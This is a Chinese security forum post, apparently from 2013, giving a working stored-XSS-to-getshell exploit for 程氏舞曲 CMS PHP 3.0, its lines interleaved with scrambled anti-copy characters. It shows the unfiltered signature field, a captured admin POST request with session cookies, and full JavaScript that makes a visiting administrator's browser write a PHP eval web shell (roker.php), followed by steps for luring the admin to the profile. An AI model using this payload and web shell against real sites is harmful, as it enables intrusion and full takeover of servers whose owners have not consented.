找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2411|回复: 0
打印 上一主题 下一主题

程氏舞曲CMSPHP3.0 储存型xss getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-6 18:09:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题
) x) X, N: ]6 G9 c9 k官网已经修补了,所以重新下了源码
& r" p6 [1 Q- E% t0 M因为 后台登入 还需要认证码 所以 注入就没看了。
/ M4 t: {$ c7 K6 M9 o存在 xss6 o7 U0 _# G! F1 T- _
漏洞文件 user/member/skin_edit.php
2 h! R4 T; m. G本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:2 E9 y1 ~8 Z! s) o# Q% S
  # @( T. D& V! J
</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>3 U4 Z* G3 ~4 G
  
! I* Y" c. \7 H3 q+ z0 n. j</textarea></td></tr>& x7 J$ h0 _% j& V* X
  
+ y" i# \  F" O* ~             user/do.php 2 K3 Q$ b& q+ Z; A4 V

* R9 d/ i' ]$ l( S, u# n
. n2 q# V1 ]5 `9 f! O, J+ Lif($op=='zl'){ //资料1 e) C( ]9 i8 n& U
  . h% [; p; u+ `  n" w5 Q3 w
             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) % C) z) I$ V4 T
             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));5 G" b" @9 m0 L' a  K
  3 M* Q& k) h5 ^0 m" x, j% b/ B0 z2 V
             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',
% ^; d& `: A! _0 {  
6 L( X7 ~2 I& z) G             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."') V1 u; o* c" E8 d" d' S7 H( m
             where CS_Name='".$cscms_name."'";- V. X4 g8 o( o9 K1 X5 ]
  
; |2 ]3 E# ?9 N" e9 D# o             if($db->query($sql)){
) V1 s" ?3 N& ~6 w5 k! J. i3 h9 K  & J+ c9 {: l. ?( U; _* X
              exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));: z- n+ N* U4 I: G* x" V- f
  . f2 T6 {# t) B1 q
             }else{
4 j/ c8 I4 d+ x/ X% N9 X3 S  * s2 y1 T1 M4 m+ ~/ p5 W
              exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));& R' v1 C: n1 M4 O/ o& {
  
" |0 z6 i4 c; l! |. p5 N             }* ^8 J, K: T7 }; N- B; P
2 R- t* X, A; @
7 ]! O; ~2 R4 R4 d  u5 ]
没有 过滤导致xss产生。$ j6 J% c" U0 n# F" W4 ]: I( N2 A
后台 看了下 很奇葩的是可以写任意格式文件。。  K9 p+ U+ R* F3 p
抓包。。
  ~5 i+ _  O/ v& v& a8 Q
0 `7 b6 M; i6 V2 D: x! C6 K+ e1 a/ B; u$ }  W, O& `5 j
本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1
7 L( X, t. v. y- _: L  
. s( K( J. O  O3 y) uAccept: text/html, application/xhtml+xml, */*
7 B2 ~4 k/ e; C* S7 ]( d  6 K# G2 E- ]7 d6 g# b0 P5 E7 Z! ]: N
Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php
" q5 |- L: {! w- ~& v9 l' ?  ! ^8 R/ N6 c- ?, s, R
Accept-Language: zh-CN! S2 r6 `: k1 T" W: v
  % h6 @* A; t- k- ~8 L
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)& W/ S+ Y, C4 z2 X
  
% s% b( ?0 w/ Y4 zContent-Type: application/x-www-form-urlencoded9 W* d* E% f+ _3 Y7 _& P& |! _, @6 w/ g5 P
  $ S) L( q; u2 C3 g1 Z2 t$ C$ ], @
Accept-Encoding: gzip, deflate4 e2 c: q+ h# L1 K# Y
  
* G. T- p) Y3 l/ ~; l' o3 t- ZHost: 127.0.0.1# c  |8 h' K9 Y% W6 F) R9 q" B; }& V
  ) D7 H$ m9 N0 J' Y# b5 M
Content-Length: 38
" K' v8 z# @2 j- b9 T/ C  
% C1 W  J/ ?6 x9 T  g) sDNT: 1
8 r5 q0 t' C' C1 s8 h& E3 k& y  W( F6 k  8 m& a" ^4 E" `  i$ [- A4 L  t, v
Connection: Keep-Alive
8 H0 L! @5 n' [$ p" X7 E* n  
+ C( z4 \3 T9 E( B: f- dCache-Control: no-cache5 w/ @+ s0 E9 e2 M4 b
  
$ Y0 B0 d0 e' K1 r' x2 L$ \! ECookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594) b6 g. N* N" d2 v
  , b+ X4 y0 O4 i; a+ B

3 Y- e' t9 |" _+ w5 n8 _5 {# iname=aaa.php&content=%3Cs%3E%3Ca%25%3E
. @) x! J5 b; y* W' P/ M
# `4 K* Z& e1 @* Y) d! O: [# V* @) r. Y% a+ Q3 g

% e3 A* a7 X, f3 j8 a; w3 V+ O于是 构造js如下。2 K: I, O7 e7 H$ r; T. t' _0 d
+ N4 J8 b) v' h/ o
本帖隐藏的内容<script>
7 P5 m9 G% R- s! E; e  lthisTHost = top.location.hostname;! ?8 i8 ?2 t: ^: D7 A4 v6 K; D
  
* ~! t1 K/ y: P5 v2 H  j3 G. bthisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";3 w: C4 `# X3 o& r4 d2 Z
  
6 z- {1 g5 z4 e4 Q+ e8 sfunction PostSubmit(url, data, msg) { 7 d$ d  u- f6 b$ s
    var postUrl = url;
4 M& z+ v, h- T8 o$ q  
5 ~% W5 W; N  e. O    var postData = data; ! z& C3 m' f, w- u2 c
    var msgData = msg; 1 T6 W3 |4 e& k$ s3 w1 X
    var ExportForm = document.createElement("FORM");
  @9 F: \0 v* l! @) B/ Z    document.body.appendChild(ExportForm); 2 |1 ~$ t0 A2 Y( k! C$ T% `4 ^
    ExportForm.method = "POST"; # u. F9 m8 j/ X0 R9 t% b, K: e! i
    var newElement = document.createElement("input");
5 l+ w+ ?0 C# K8 b# C    newElement.setAttribute("name", "name");
3 V8 z  k; T% _% G# r! g2 Q# Z! P9 }; J    newElement.setAttribute("type", "hidden");
$ ^  B$ c0 K- E% l% Z, @! N) C    var newElement2 = document.createElement("input"); 9 N+ x% `8 u) v0 a; x* L! s" R
    newElement2.setAttribute("name", "content"); 2 w9 a) i/ T& A) P( G$ ~
    newElement2.setAttribute("type", "hidden");
- ^7 D) a* x4 b4 C7 r    ExportForm.appendChild(newElement);
+ H, o" z: F3 A" t" w    ExportForm.appendChild(newElement2);
% w: U4 ?, g9 z    newElement.value = postData;
  f' L; b2 }/ d# M3 u! F    newElement2.value = msgData; $ R) A1 I3 R! s
    ExportForm.action = postUrl;
  i) w5 A. [$ v& B! r; {    ExportForm.submit(); 8 c" ^5 ]" m3 H% e+ ]7 g* l
};
: q  J! k/ A4 ^9 I' L  
' B: E$ U7 c# y' ePostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");8 F1 m0 V. d$ `
  
% j& @% Q4 X: k# ]3 {</script>! ?8 f! r/ T" L9 [
& K+ B7 K% F1 _: Z
5 ^, I) W6 }4 B
% s- T2 _. ]8 p" f! F& b
http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入% d; u0 x4 X* H" V
用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2(uid自己改)
8 ?4 r$ G! n7 R* D就会 在 skins\index\html\目录下生成 roker.php 一句话。

0 h5 _& v  n! a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表